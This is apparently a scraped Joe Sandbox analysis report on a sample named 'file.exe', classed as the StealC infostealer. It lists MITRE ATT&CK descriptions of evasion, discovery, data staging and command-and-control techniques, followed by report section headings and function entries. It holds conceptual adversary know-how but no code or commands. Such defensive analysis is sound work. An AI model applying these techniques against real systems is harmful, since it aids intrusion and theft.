Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 001D9860 Relevance: 86.0, APIs: 33, Strings: 16, Instructions: 212
libraryloaderCOMMON

Function 001C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 001C4880 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Function 001D9C10 Relevance: 224.7, APIs: 112, Strings: 16, Instructions: 684
libraryloaderCOMMON

Function 001C6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Function 001D5510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 001D17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 001D7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 001D69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 001D6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 001C47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 001D51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON